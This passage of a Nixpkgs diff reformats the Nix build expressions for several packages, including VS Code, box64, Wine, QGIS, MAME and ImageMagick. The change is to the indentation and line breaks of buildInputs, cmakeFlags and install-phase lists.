+          mkdir -p "$out/Applications/${longName}.app" "$out/bin"
+          cp -r ./* "$out/Applications/${longName}.app"
+          ln -s "$out/Applications/${longName}.app/Contents/Resources/app/bin/${sourceExecutableName}" "$out/bin/${executableName}"
+        ''
+      else
+        ''
+          mkdir -p "$out/lib/${libraryName}" "$out/bin"
+          cp -r ./* "$out/lib/${libraryName}"
 
-            ln -s "$out/lib/${libraryName}/bin/${sourceExecutableName}" "$out/bin/${executableName}"
+          ln -s "$out/lib/${libraryName}/bin/${sourceExecutableName}" "$out/bin/${executableName}"
 
-            # These are named vscode.png, vscode-insiders.png, etc to match the name in upstream *.deb packages.
-            mkdir -p "$out/share/pixmaps"
-            cp "$out/lib/${libraryName}/resources/app/resources/linux/code.png" "$out/share/pixmaps/${iconName}.png"
+          # These are named vscode.png, vscode-insiders.png, etc to match the name in upstream *.deb packages.
+          mkdir -p "$out/share/pixmaps"
+          cp "$out/lib/${libraryName}/resources/app/resources/linux/code.png" "$out/share/pixmaps/${iconName}.png"
 
-          ''
-          + (lib.optionalString patchVSCodePath ''
-            # Override the previously determined VSCODE_PATH with the one we know to be correct
-            sed -i "/ELECTRON=/iVSCODE_PATH='$out/lib/${libraryName}'" "$out/bin/${executableName}"
-            grep -q "VSCODE_PATH='$out/lib/${libraryName}'" "$out/bin/${executableName}" # check if sed succeeded
-          '')
-          + ''
+        ''
+        + (lib.optionalString patchVSCodePath ''
+          # Override the previously determined VSCODE_PATH with the one we know to be correct
+          sed -i "/ELECTRON=/iVSCODE_PATH='$out/lib/${libraryName}'" "$out/bin/${executableName}"
+          grep -q "VSCODE_PATH='$out/lib/${libraryName}'" "$out/bin/${executableName}" # check if sed succeeded
+        '')
+        + ''
 
-            # Remove native encryption code, as it derives the key from the executable path which does not work for us.
-            # The credentials should be stored in a secure keychain already, so the benefit of this is questionable
-            # in the first place.
-            rm -rf $out/lib/${libraryName}/resources/app/node_modules/vscode-encrypt
-          ''
-      )
-      + ''
-        runHook postInstall
-      '';
+          # Remove native encryption code, as it derives the key from the executable path which does not work for us.
+          # The credentials should be stored in a secure keychain already, so the benefit of this is questionable
+          # in the first place.
+          rm -rf $out/lib/${libraryName}/resources/app/node_modules/vscode-encrypt
+        ''
+    )
+    + ''
+      runHook postInstall
+    '';
 
     preFixup = ''
       gappsWrapperArgs+=(
diff --git a/pkgs/applications/emulators/box64/default.nix b/pkgs/applications/emulators/box64/default.nix
index 04c4f768e9bd..66bfae704520 100644
--- a/pkgs/applications/emulators/box64/default.nix
+++ b/pkgs/applications/emulators/box64/default.nix
@@ -35,27 +35,26 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "NOGIT" true)
+  cmakeFlags = [
+    (lib.cmakeBool "NOGIT" true)
 
-      # Arch mega-option
-      (lib.cmakeBool "ARM64" stdenv.hostPlatform.isAarch64)
-      (lib.cmakeBool "RV64" stdenv.hostPlatform.isRiscV64)
-      (lib.cmakeBool "PPC64LE" (stdenv.hostPlatform.isPower64 && stdenv.hostPlatform.isLittleEndian))
-      (lib.cmakeBool "LARCH64" stdenv.hostPlatform.isLoongArch64)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      # x86_64 has no arch-specific mega-option, manually enable the options that apply to it
-      (lib.cmakeBool "LD80BITS" true)
-      (lib.cmakeBool "NOALIGN" true)
-    ]
-    ++ [
-      # Arch dynarec
-      (lib.cmakeBool "ARM_DYNAREC" (withDynarec && stdenv.hostPlatform.isAarch64))
-      (lib.cmakeBool "RV64_DYNAREC" (withDynarec && stdenv.hostPlatform.isRiscV64))
-      (lib.cmakeBool "LARCH64_DYNAREC" (withDynarec && stdenv.hostPlatform.isLoongArch64))
-    ];
+    # Arch mega-option
+    (lib.cmakeBool "ARM64" stdenv.hostPlatform.isAarch64)
+    (lib.cmakeBool "RV64" stdenv.hostPlatform.isRiscV64)
+    (lib.cmakeBool "PPC64LE" (stdenv.hostPlatform.isPower64 && stdenv.hostPlatform.isLittleEndian))
+    (lib.cmakeBool "LARCH64" stdenv.hostPlatform.isLoongArch64)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    # x86_64 has no arch-specific mega-option, manually enable the options that apply to it
+    (lib.cmakeBool "LD80BITS" true)
+    (lib.cmakeBool "NOALIGN" true)
+  ]
+  ++ [
+    # Arch dynarec
+    (lib.cmakeBool "ARM_DYNAREC" (withDynarec && stdenv.hostPlatform.isAarch64))
+    (lib.cmakeBool "RV64_DYNAREC" (withDynarec && stdenv.hostPlatform.isRiscV64))
+    (lib.cmakeBool "LARCH64_DYNAREC" (withDynarec && stdenv.hostPlatform.isLoongArch64))
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/applications/emulators/box86/default.nix b/pkgs/applications/emulators/box86/default.nix
index 1307af0fffaa..30d4fb07e042 100644
--- a/pkgs/applications/emulators/box86/default.nix
+++ b/pkgs/applications/emulators/box86/default.nix
@@ -29,22 +29,21 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "NOGIT" true)
+  cmakeFlags = [
+    (lib.cmakeBool "NOGIT" true)
 
-      # Arch mega-option
-      (lib.cmakeBool "POWERPCLE" (stdenv.hostPlatform.isPower && stdenv.hostPlatform.isLittleEndian))
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isi686 [
-      # x86 has no arch-specific mega-option, manually enable the options that apply to it
-      (lib.cmakeBool "LD80BITS" true)
-      (lib.cmakeBool "NOALIGN" true)
-    ]
-    ++ [
-      # Arch dynarec
-      (lib.cmakeBool "ARM_DYNAREC" (withDynarec && stdenv.hostPlatform.isAarch))
-    ];
+    # Arch mega-option
+    (lib.cmakeBool "POWERPCLE" (stdenv.hostPlatform.isPower && stdenv.hostPlatform.isLittleEndian))
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isi686 [
+    # x86 has no arch-specific mega-option, manually enable the options that apply to it
+    (lib.cmakeBool "LD80BITS" true)
+    (lib.cmakeBool "NOALIGN" true)
+  ]
+  ++ [
+    # Arch dynarec
+    (lib.cmakeBool "ARM_DYNAREC" (withDynarec && stdenv.hostPlatform.isAarch))
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/applications/emulators/dosbox/default.nix b/pkgs/applications/emulators/dosbox/default.nix
index 7026d2f2598f..7057f08a8e9d 100644
--- a/pkgs/applications/emulators/dosbox/default.nix
+++ b/pkgs/applications/emulators/dosbox/default.nix
@@ -46,17 +46,16 @@ stdenv.mkDerivation rec {
     binutils # build calls `ar`
   ];
 
-  buildInputs =
-    [
-      SDL
-      SDL_net
-      SDL_sound
-      libpng
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libGL
-      libGLU
-    ];
+  buildInputs = [
+    SDL
+    SDL_net
+    SDL_sound
+    libpng
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libGL
+    libGLU
+  ];
 
   # Tests for SDL_net.h for modem & IPX support, not automatically picked up due to being in SDL subdirectory
   env.NIX_CFLAGS_COMPILE = "-I${lib.getDev SDL_net}/include/SDL";
diff --git a/pkgs/applications/emulators/libretro/mkLibretroCore.nix b/pkgs/applications/emulators/libretro/mkLibretroCore.nix
index 892f5798c4d9..6c7a75b6bd93 100644
--- a/pkgs/applications/emulators/libretro/mkLibretroCore.nix
+++ b/pkgs/applications/emulators/libretro/mkLibretroCore.nix
@@ -69,7 +69,8 @@ stdenv.mkDerivation (
         }
         .${stdenv.hostPlatform.parsed.cpu.name} or stdenv.hostPlatform.parsed.cpu.name
       }"
-    ] ++ (args.makeFlags or [ ]);
+    ]
+    ++ (args.makeFlags or [ ]);
 
     installPhase = ''
       runHook preInstall
@@ -88,14 +89,16 @@ stdenv.mkDerivation (
       # libretro repos sometimes has a fake tag like "Current", ignore
       # it by setting hardcodeZeroVersion
       updateScript = unstableGitUpdater { hardcodeZeroVersion = true; };
-    } // (args.passthru or { });
+    }
+    // (args.passthru or { });
 
     meta = {
       inherit mainProgram;
       inherit (retroarch-bare.meta) platforms;
       homepage = "https://www.libretro.com/";
       teams = [ lib.teams.libretro ];
-    } // (args.meta or { });
+    }
+    // (args.meta or { });
   }
   // extraArgs
 )
diff --git a/pkgs/applications/emulators/mame/default.nix b/pkgs/applications/emulators/mame/default.nix
index 0db8ba1d4996..b927d9adabd4 100644
--- a/pkgs/applications/emulators/mame/default.nix
+++ b/pkgs/applications/emulators/mame/default.nix
@@ -74,33 +74,32 @@ stdenv.mkDerivation rec {
   ];
 
   # https://docs.mamedev.org/initialsetup/compilingmame.html
-  buildInputs =
-    [
-      expat
-      zlib
-      flac
-      portmidi
-      portaudio
-      utf8proc
-      libjpeg
-      rapidjson
-      pugixml
-      glm
-      SDL2
-      SDL2_ttf
-      sqlite
-      qtbase
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libpulseaudio
-      libXinerama
-      libXi
-      fontconfig
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libpcap
-    ];
+  buildInputs = [
+    expat
+    zlib
+    flac
+    portmidi
+    portaudio
+    utf8proc
+    libjpeg
+    rapidjson
+    pugixml
+    glm
+    SDL2
+    SDL2_ttf
+    sqlite
+    qtbase
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libpulseaudio
+    libXinerama
+    libXi
+    fontconfig
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libpcap
+  ];
 
   nativeBuildInputs = [
     copyDesktopItems
@@ -121,27 +120,26 @@ stdenv.mkDerivation rec {
 
   # Since the bug described in https://github.com/NixOS/nixpkgs/issues/135438,
   # it is not possible to use substituteAll
-  postPatch =
-    ''
-      substituteInPlace src/emu/emuopts.cpp \
-        --subst-var-by mamePath "$out/opt/mame"
-    ''
-    # MAME's build system uses `sw_vers` to test whether it needs to link with
-    # the Metal framework or not. However:
-    # a) that would return the build system's version, not the target's, and
-    # b) it can't actually find `sw_vers` in $PATH, so it thinks it's on macOS
-    #    version 0, and doesn't link with Metal - causing missing symbol errors
-    #    when it gets to the link step, because other parts of the build system
-    #    _do_ use the correct target version number.
-    # This replaces the `sw_vers` call with the macOS version actually being
-    # targeted, so everything gets linked correctly.
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      for file in scripts/src/osd/{mac,sdl}.lua; do
-        substituteInPlace "$file" --replace-fail \
-          'backtick("sw_vers -productVersion")' \
-          "os.getenv('MACOSX_DEPLOYMENT_TARGET') or '$darwinMinVersion'"
-        done
-    '';
+  postPatch = ''
+    substituteInPlace src/emu/emuopts.cpp \
+      --subst-var-by mamePath "$out/opt/mame"
+  ''
+  # MAME's build system uses `sw_vers` to test whether it needs to link with
+  # the Metal framework or not. However:
+  # a) that would return the build system's version, not the target's, and
+  # b) it can't actually find `sw_vers` in $PATH, so it thinks it's on macOS
+  #    version 0, and doesn't link with Metal - causing missing symbol errors
+  #    when it gets to the link step, because other parts of the build system
+  #    _do_ use the correct target version number.
+  # This replaces the `sw_vers` call with the macOS version actually being
+  # targeted, so everything gets linked correctly.
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    for file in scripts/src/osd/{mac,sdl}.lua; do
+      substituteInPlace "$file" --replace-fail \
+        'backtick("sw_vers -productVersion")' \
+        "os.getenv('MACOSX_DEPLOYMENT_TARGET') or '$darwinMinVersion'"
+      done
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/applications/emulators/punes/default.nix b/pkgs/applications/emulators/punes/default.nix
index 3bbe186ab360..1267a40b4b26 100644
--- a/pkgs/applications/emulators/punes/default.nix
+++ b/pkgs/applications/emulators/punes/default.nix
@@ -54,21 +54,20 @@ stdenv.mkDerivation (finalAttrs: {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      ffmpeg
-      libGLU
-      qtbase
-      qtsvg
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libX11
-      libXrandr
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isBSD [
-      sndio
-    ];
+  buildInputs = [
+    ffmpeg
+    libGLU
+    qtbase
+    qtsvg
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libX11
+    libXrandr
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isBSD [
+    sndio
+  ];
 
   cmakeFlags = [
     "-DENABLE_GIT_INFO=OFF"
diff --git a/pkgs/applications/emulators/wine/base.nix b/pkgs/applications/emulators/wine/base.nix
index 0ca31e9695be..6c3467b6e990 100644
--- a/pkgs/applications/emulators/wine/base.nix
+++ b/pkgs/applications/emulators/wine/base.nix
@@ -92,17 +92,16 @@ stdenv.mkDerivation (
     # Fixes "Compiler cannot create executables" building wineWow with mingwSupport
     strictDeps = true;
 
-    nativeBuildInputs =
-      [
-        bison
-        flex
-        fontforge
-        makeWrapper
-        pkg-config
-      ]
-      ++ lib.optionals supportFlags.mingwSupport (
-        mingwGccs ++ lib.optional stdenv.hostPlatform.isDarwin setupHookDarwin
-      );
+    nativeBuildInputs = [
+      bison
+      flex
+      fontforge
+      makeWrapper
+      pkg-config
+    ]
+    ++ lib.optionals supportFlags.mingwSupport (
+      mingwGccs ++ lib.optional stdenv.hostPlatform.isDarwin setupHookDarwin
+    );
 
     buildInputs = toBuildInputs pkgArches (
       with supportFlags;
@@ -276,13 +275,12 @@ stdenv.mkDerivation (
 
     # https://bugs.winehq.org/show_bug.cgi?id=43530
     # https://github.com/NixOS/nixpkgs/issues/31989
-    hardeningDisable =
-      [
-        "bindnow"
-        "stackclashprotection"
-      ]
-      ++ lib.optional (stdenv.hostPlatform.isDarwin) "fortify"
-      ++ lib.optional (supportFlags.mingwSupport) "format";
+    hardeningDisable = [
+      "bindnow"
+      "stackclashprotection"
+    ]
+    ++ lib.optional (stdenv.hostPlatform.isDarwin) "fortify"
+    ++ lib.optional (supportFlags.mingwSupport) "format";
 
     passthru = {
       inherit pkgArches;
diff --git a/pkgs/applications/emulators/wine/sources.nix b/pkgs/applications/emulators/wine/sources.nix
index 38bbca910c7a..afed2d2102a3 100644
--- a/pkgs/applications/emulators/wine/sources.nix
+++ b/pkgs/applications/emulators/wine/sources.nix
@@ -113,7 +113,8 @@ rec {
     patches = [
       # Also look for root certificates at $NIX_SSL_CERT_FILE
       ./cert-path.patch
-    ] ++ patches-binutils-2_44-fix-wine-older-than-10_2;
+    ]
+    ++ patches-binutils-2_44-fix-wine-older-than-10_2;
 
     updateScript = writeShellScript "update-wine-stable" (''
       ${updateScriptPreamble}
@@ -202,7 +203,8 @@ rec {
     patches = [
       # Also look for root certificates at $NIX_SSL_CERT_FILE
       ./cert-path.patch
-    ] ++ patches-binutils-2_44-fix-wine-older-than-10_2;
+    ]
+    ++ patches-binutils-2_44-fix-wine-older-than-10_2;
 
     # see https://gitlab.winehq.org/wine/wine-staging
     staging = fetchFromGitLab {
diff --git a/pkgs/applications/emulators/wine/staging.nix b/pkgs/applications/emulators/wine/staging.nix
index 981d8f9e54f6..74619c225eee 100644
--- a/pkgs/applications/emulators/wine/staging.nix
+++ b/pkgs/applications/emulators/wine/staging.nix
@@ -33,19 +33,18 @@ wineUnstable.overrideAttrs (self: {
     perl
     python3
     gitMinimal
-  ] ++ self.nativeBuildInputs;
+  ]
+  ++ self.nativeBuildInputs;
 
-  prePatch =
-    self.prePatch or ""
-    + ''
-      patchShebangs tools
-      cp -r ${patch}/patches ${patch}/staging .
-      chmod +w patches
-      patchShebangs ./patches/gitapply.sh
-      python3 ./staging/patchinstall.py DESTDIR="$PWD" --all ${
-        lib.concatMapStringsSep " " (ps: "-W ${ps}") patch.disabledPatchsets
-      }
-    '';
+  prePatch = self.prePatch or "" + ''
+    patchShebangs tools
+    cp -r ${patch}/patches ${patch}/staging .
+    chmod +w patches
+    patchShebangs ./patches/gitapply.sh
+    python3 ./staging/patchinstall.py DESTDIR="$PWD" --all ${
+      lib.concatMapStringsSep " " (ps: "-W ${ps}") patch.disabledPatchsets
+    }
+  '';
 })
 // {
   meta = wineUnstable.meta // {
diff --git a/pkgs/applications/gis/qgis/unwrapped-ltr.nix b/pkgs/applications/gis/qgis/unwrapped-ltr.nix
index 19c8ac7e0b14..9468c931ab35 100644
--- a/pkgs/applications/gis/qgis/unwrapped-ltr.nix
+++ b/pkgs/applications/gis/qgis/unwrapped-ltr.nix
@@ -108,41 +108,40 @@ mkDerivation rec {
     ninja
   ];
 
-  buildInputs =
-    [
-      draco
-      exiv2
-      fcgi
-      geos
-      gsl
-      hdf5
-      libpq
-      libspatialindex
-      libspatialite
-      libzip
-      netcdf
-      openssl
-      pdal
-      proj
-      protobuf
-      qca-qt5
-      qscintilla
-      qt3d
-      qtbase
-      qtkeychain
-      qtlocation
-      qtmultimedia
-      qtsensors
-      qtserialport
-      qtxmlpatterns
-      qwt
-      sqlite
-      txt2tags
-      zstd
-    ]
-    ++ lib.optional withGrass grass
-    ++ lib.optional withWebKit qtwebkit
-    ++ pythonBuildInputs;
+  buildInputs = [
+    draco
+    exiv2
+    fcgi
+    geos
+    gsl
+    hdf5
+    libpq
+    libspatialindex
+    libspatialite
+    libzip
+    netcdf
+    openssl
+    pdal
+    proj
+    protobuf
+    qca-qt5
+    qscintilla
+    qt3d
+    qtbase
+    qtkeychain
+    qtlocation
+    qtmultimedia
+    qtsensors
+    qtserialport
+    qtxmlpatterns
+    qwt
+    sqlite
+    txt2tags
+    zstd
+  ]
+  ++ lib.optional withGrass grass
+  ++ lib.optional withWebKit qtwebkit
+  ++ pythonBuildInputs;
 
   patches = [
     (replaceVars ./set-pyqt-package-dirs-ltr.patch {
@@ -155,29 +154,28 @@ mkDerivation rec {
   # (offscreen is needed by "${APIS_SRC_DIR}/generate_console_pap.py")
   env.QT_QPA_PLATFORM_PLUGIN_PATH = "${qtbase}/${qtbase.qtPluginPrefix}/platforms";
 
-  cmakeFlags =
-    [
-      "-DWITH_3D=True"
-      "-DWITH_PDAL=True"
-      "-DENABLE_TESTS=False"
-      "-DQT_PLUGINS_DIR=${qtbase}/${qtbase.qtPluginPrefix}"
+  cmakeFlags = [
+    "-DWITH_3D=True"
+    "-DWITH_PDAL=True"
+    "-DENABLE_TESTS=False"
+    "-DQT_PLUGINS_DIR=${qtbase}/${qtbase.qtPluginPrefix}"
 
-      # Remove for QGIS 3.42
-      "-DCMAKE_POLICY_DEFAULT_CMP0175=OLD"
-      "-DCMAKE_POLICY_DEFAULT_CMP0177=OLD"
-    ]
-    ++ lib.optional (!withWebKit) "-DWITH_QTWEBKIT=OFF"
-    ++ lib.optional withServer [
-      "-DWITH_SERVER=True"
-      "-DQGIS_CGIBIN_SUBDIR=${placeholder "out"}/lib/cgi-bin"
-    ]
-    ++ lib.optional withGrass (
-      let
-        gmajor = lib.versions.major grass.version;
-        gminor = lib.versions.minor grass.version;
-      in
-      "-DGRASS_PREFIX${gmajor}=${grass}/grass${gmajor}${gminor}"
-    );
+    # Remove for QGIS 3.42
+    "-DCMAKE_POLICY_DEFAULT_CMP0175=OLD"
+    "-DCMAKE_POLICY_DEFAULT_CMP0177=OLD"
+  ]
+  ++ lib.optional (!withWebKit) "-DWITH_QTWEBKIT=OFF"
+  ++ lib.optional withServer [
+    "-DWITH_SERVER=True"
+    "-DQGIS_CGIBIN_SUBDIR=${placeholder "out"}/lib/cgi-bin"
+  ]
+  ++ lib.optional withGrass (
+    let
+      gmajor = lib.versions.major grass.version;
+      gminor = lib.versions.minor grass.version;
+    in
+    "-DGRASS_PREFIX${gmajor}=${grass}/grass${gmajor}${gminor}"
+  );
 
   qtWrapperArgs = [
     "--set QT_QPA_PLATFORM_PLUGIN_PATH ${qtbase}/${qtbase.qtPluginPrefix}/platforms"
diff --git a/pkgs/applications/gis/qgis/unwrapped.nix b/pkgs/applications/gis/qgis/unwrapped.nix
index 845fd554ea98..c22fb2560959 100644
--- a/pkgs/applications/gis/qgis/unwrapped.nix
+++ b/pkgs/applications/gis/qgis/unwrapped.nix
@@ -108,41 +108,40 @@ mkDerivation rec {
     ninja
   ];
 
-  buildInputs =
-    [
-      draco
-      exiv2
-      fcgi
-      geos
-      gsl
-      hdf5
-      libspatialindex
-      libspatialite
-      libzip
-      netcdf
-      openssl
-      pdal
-      libpq
-      proj
-      protobuf
-      qca-qt5
-      qscintilla
-      qt3d
-      qtbase
-      qtkeychain
-      qtlocation
-      qtmultimedia
-      qtsensors
-      qtserialport
-      qtxmlpatterns
-      qwt
-      sqlite
-      txt2tags
-      zstd
-    ]
-    ++ lib.optional withGrass grass
-    ++ lib.optional withWebKit qtwebkit
-    ++ pythonBuildInputs;
+  buildInputs = [
+    draco
+    exiv2
+    fcgi
+    geos
+    gsl
+    hdf5
+    libspatialindex
+    libspatialite
+    libzip
+    netcdf
+    openssl
+    pdal
+    libpq
+    proj
+    protobuf
+    qca-qt5
+    qscintilla
+    qt3d
+    qtbase
+    qtkeychain
+    qtlocation
+    qtmultimedia
+    qtsensors
+    qtserialport
+    qtxmlpatterns
+    qwt
+    sqlite
+    txt2tags
+    zstd
+  ]
+  ++ lib.optional withGrass grass
+  ++ lib.optional withWebKit qtwebkit
+  ++ pythonBuildInputs;
 
   patches = [
     (replaceVars ./set-pyqt-package-dirs.patch {
@@ -155,25 +154,24 @@ mkDerivation rec {
   # (offscreen is needed by "${APIS_SRC_DIR}/generate_console_pap.py")
   env.QT_QPA_PLATFORM_PLUGIN_PATH = "${qtbase}/${qtbase.qtPluginPrefix}/platforms";
 
-  cmakeFlags =
-    [
-      "-DWITH_3D=True"
-      "-DWITH_PDAL=True"
-      "-DENABLE_TESTS=False"
-      "-DQT_PLUGINS_DIR=${qtbase}/${qtbase.qtPluginPrefix}"
-    ]
-    ++ lib.optional (!withWebKit) "-DWITH_QTWEBKIT=OFF"
-    ++ lib.optional withServer [
-      "-DWITH_SERVER=True"
-      "-DQGIS_CGIBIN_SUBDIR=${placeholder "out"}/lib/cgi-bin"
-    ]
-    ++ lib.optional withGrass (
-      let
-        gmajor = lib.versions.major grass.version;
-        gminor = lib.versions.minor grass.version;
-      in
-      "-DGRASS_PREFIX${gmajor}=${grass}/grass${gmajor}${gminor}"
-    );
+  cmakeFlags = [
+    "-DWITH_3D=True"
+    "-DWITH_PDAL=True"
+    "-DENABLE_TESTS=False"
+    "-DQT_PLUGINS_DIR=${qtbase}/${qtbase.qtPluginPrefix}"
+  ]
+  ++ lib.optional (!withWebKit) "-DWITH_QTWEBKIT=OFF"
+  ++ lib.optional withServer [
+    "-DWITH_SERVER=True"
+    "-DQGIS_CGIBIN_SUBDIR=${placeholder "out"}/lib/cgi-bin"
+  ]
+  ++ lib.optional withGrass (
+    let
+      gmajor = lib.versions.major grass.version;
+      gminor = lib.versions.minor grass.version;
+    in
+    "-DGRASS_PREFIX${gmajor}=${grass}/grass${gmajor}${gminor}"
+  );
 
   qtWrapperArgs = [
     "--set QT_QPA_PLATFORM_PLUGIN_PATH ${qtbase}/${qtbase.qtPluginPrefix}/platforms"
diff --git a/pkgs/applications/gis/zombietrackergps/default.nix b/pkgs/applications/gis/zombietrackergps/default.nix
index 2cd1c823521f..3cc6bf69e45c 100644
--- a/pkgs/applications/gis/zombietrackergps/default.nix
+++ b/pkgs/applications/gis/zombietrackergps/default.nix
@@ -21,17 +21,16 @@ mkDerivation rec {
     hash = "sha256-z/LFNRFdQQFxEWyAjcuGezRbTsv8z6Q6fK8NLjP4HNM=";
   };
 
-  buildInputs =
-    [
-      marble.dev
-    ]
-    ++ (with libsForQt5; [
-      qtbase
-      qtcharts
-      qtsvg
-      qtwebengine
-      ldutils
-    ]);
+  buildInputs = [
+    marble.dev
+  ]
+  ++ (with libsForQt5; [
+    qtbase
+    qtcharts
+    qtsvg
+    qtwebengine
+    ldutils
+  ]);
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/applications/graphics/ImageMagick/6.x.nix b/pkgs/applications/graphics/ImageMagick/6.x.nix
index f1ec2668577b..b30cbc91e46d 100644
--- a/pkgs/applications/graphics/ImageMagick/6.x.nix
+++ b/pkgs/applications/graphics/ImageMagick/6.x.nix
@@ -88,20 +88,19 @@ stdenv.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--with-frozenpaths"
-      (lib.withFeatureAs (arch != null) "gcc-arch" arch)
-      (lib.withFeature librsvgSupport "rsvg")
-      (lib.withFeature liblqr1Support "lqr")
-      (lib.withFeatureAs ghostscriptSupport "gs-font-dir" "${ghostscript.fonts}/share/fonts")
-      (lib.withFeature ghostscriptSupport "gslib")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMinGW [
-      # due to libxml2 being without DLLs ATM
-      "--enable-static"
-      "--disable-shared"
-    ];
+  configureFlags = [
+    "--with-frozenpaths"
+    (lib.withFeatureAs (arch != null) "gcc-arch" arch)
+    (lib.withFeature librsvgSupport "rsvg")
+    (lib.withFeature liblqr1Support "lqr")
+    (lib.withFeatureAs ghostscriptSupport "gs-font-dir" "${ghostscript.fonts}/share/fonts")
+    (lib.withFeature ghostscriptSupport "gslib")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMinGW [
+    # due to libxml2 being without DLLs ATM
+    "--enable-static"
+    "--disable-shared"
+  ];
 
   nativeBuildInputs = [
     pkg-config
@@ -124,35 +123,35 @@ stdenv.mkDerivation (finalAttrs: {
     ++ lib.optional librsvgSupport librsvg
     ++ lib.optional openjpegSupport openjpeg;
 
-  propagatedBuildInputs =
-    [ fftw ]
-    ++ lib.optional bzip2Support bzip2
-    ++ lib.optional freetypeSupport freetype
-    ++ lib.optional libjpegSupport libjpeg
-    ++ lib.optional lcms2Support lcms2
-    ++ lib.optional libX11Support libX11
-    ++ lib.optional libXtSupport libXt
-    ++ lib.optional libwebpSupport libwebp;
+  propagatedBuildInputs = [
+    fftw
+  ]
+  ++ lib.optional bzip2Support bzip2
+  ++ lib.optional freetypeSupport freetype
+  ++ lib.optional libjpegSupport libjpeg
+  ++ lib.optional lcms2Support lcms2
+  ++ lib.optional libX11Support libX11
+  ++ lib.optional libXtSupport libXt
+  ++ lib.optional libwebpSupport libwebp;
 
   doCheck = false; # fails 2 out of 76 tests
 
-  postInstall =
-    ''
-      (cd "$dev/include" && ln -s ImageMagick* ImageMagick)
-      moveToOutput "bin/*-config" "$dev"
-      moveToOutput "lib/ImageMagick-*/config-Q16" "$dev" # includes configure params
-      for file in "$dev"/bin/*-config; do
-        substituteInPlace "$file" --replace "${pkg-config}/bin/pkg-config -config" \
-          ${pkg-config}/bin/${pkg-config.targetPrefix}pkg-config
-        substituteInPlace "$file" --replace ${pkg-config}/bin/pkg-config \
-          "PKG_CONFIG_PATH='$dev/lib/pkgconfig' '${pkg-config}/bin/${pkg-config.targetPrefix}pkg-config'"
-      done
-    ''
-    + lib.optionalString ghostscriptSupport ''
-      for la in $out/lib/*.la; do
-        sed 's|-lgs|-L${lib.getLib ghostscript}/lib -lgs|' -i $la
-      done
-    '';
+  postInstall = ''
+    (cd "$dev/include" && ln -s ImageMagick* ImageMagick)
+    moveToOutput "bin/*-config" "$dev"
+    moveToOutput "lib/ImageMagick-*/config-Q16" "$dev" # includes configure params
+    for file in "$dev"/bin/*-config; do
+      substituteInPlace "$file" --replace "${pkg-config}/bin/pkg-config -config" \
+        ${pkg-config}/bin/${pkg-config.targetPrefix}pkg-config
+      substituteInPlace "$file" --replace ${pkg-config}/bin/pkg-config \
+        "PKG_CONFIG_PATH='$dev/lib/pkgconfig' '${pkg-config}/bin/${pkg-config.targetPrefix}pkg-config'"
+    done
+  ''
+  + lib.optionalString ghostscriptSupport ''
+    for la in $out/lib/*.la; do
+      sed 's|-lgs|-L${lib.getLib ghostscript}/lib -lgs|' -i $la
+    done
+  '';
 
   passthru.tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
 
diff --git a/pkgs/applications/graphics/ImageMagick/default.nix b/pkgs/applications/graphics/ImageMagick/default.nix
index 1e6f6195c234..9c73466def73 100644
--- a/pkgs/applications/graphics/ImageMagick/default.nix
+++ b/pkgs/applications/graphics/ImageMagick/default.nix
@@ -103,85 +103,85 @@ stdenv.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      # specify delegates explicitly otherwise `convert` will invoke the build
-      # coreutils for filetypes it doesn't natively support.
-      "MVDelegate=${lib.getExe' coreutils "mv"}"
-      "RMDelegate=${lib.getExe' coreutils "rm"}"
-      "--with-frozenpaths"
-      (lib.withFeatureAs (arch != null) "gcc-arch" arch)
-      (lib.withFeature librsvgSupport "rsvg")
-      (lib.withFeature librsvgSupport "pango")
-      (lib.withFeature liblqr1Support "lqr")
-      (lib.withFeature libjxlSupport "jxl")
-      (lib.withFeatureAs ghostscriptSupport "gs-font-dir" "${ghostscript.fonts}/share/fonts")
-      (lib.withFeature ghostscriptSupport "gslib")
-      (lib.withFeature fftwSupport "fftw")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMinGW [
-      # due to libxml2 being without DLLs ATM
-      "--enable-static"
-      "--disable-shared"
-    ];
+  configureFlags = [
+    # specify delegates explicitly otherwise `convert` will invoke the build
+    # coreutils for filetypes it doesn't natively support.
+    "MVDelegate=${lib.getExe' coreutils "mv"}"
+    "RMDelegate=${lib.getExe' coreutils "rm"}"
+    "--with-frozenpaths"
+    (lib.withFeatureAs (arch != null) "gcc-arch" arch)
+    (lib.withFeature librsvgSupport "rsvg")
+    (lib.withFeature librsvgSupport "pango")
+    (lib.withFeature liblqr1Support "lqr")
+    (lib.withFeature libjxlSupport "jxl")
